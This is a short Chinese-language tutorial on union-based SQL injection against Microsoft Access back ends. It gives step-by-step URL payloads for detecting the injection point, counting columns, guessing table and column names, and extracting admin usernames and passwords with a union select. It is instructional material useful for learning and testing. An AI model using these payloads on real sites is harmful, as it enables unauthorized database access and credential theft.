access注入之联合注入
access联合注入思路
- 判断注入点
- 判断注入点本身所查询的字段数
- 猜表名
- 判断其显示位
- 猜列名
- 爆出数据
判断注入点:
- 首先我们要判断该注入点是哪一种注入类型
- 数字型注入:
?id=1 and 1=1
?id=1 and 1=2
- 字符型注入:
?id=1' and 1=1 #
?id=1' and 1=2#
- 数字型注入:
?id=1142 and 1=1
--- 页面显示正常?id=1142 and 1=2
--- 页面显示不正常- 说明该注入点是数字型注入
判断注入点本身所查询的字段数:
?id=1142 order by 22
---- 页面不报错?id=1142 order by 23
---- 页面报错- 说明当前表的字段数量为 22
爆表名:
- 由于access的系统表不像mysql一样具有系统索引库,所以表名和列名都只能靠猜。如果通过社工、工具、经验(比如看后台源码的表单名字)都搞不出来的话,就只能通过偏移来试试运气了
?id=1142 and exists (select from admin)
--一般是用工具结合字典去爆破,手工的话就自己使用常见表名去爆破了
判断其显示位
?id=1142 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin
- 发现页面只显示了3和15,说明只有在这两个位置中,从数据库查询到的数据才可以在页面上进行输出
猜列名
- 同猜表名一样都需要靠猜
?id=1142 and exists (select admin,password from admin)
- 若输出正常说明表admin存在admin和password两个字段
一个小技巧
就是在我们猜表的字段名时,可以通过该网站后台管理页面的表单来帮助我们猜解。一般而言,程序员在写后台登录表单时,通常会将该表单中input标签的name属性设置的同数据库中相应的字段名相同。
爆出数据
- 我们已经有上述步骤猜解出了表名和相应的字段名,接下来只需进行联合查询即可。
?id=1142 union select 1,2,admin,4,5,6,7,8,9,10,11,12,13,14,password,16,17,18,19,20,21,22 from admin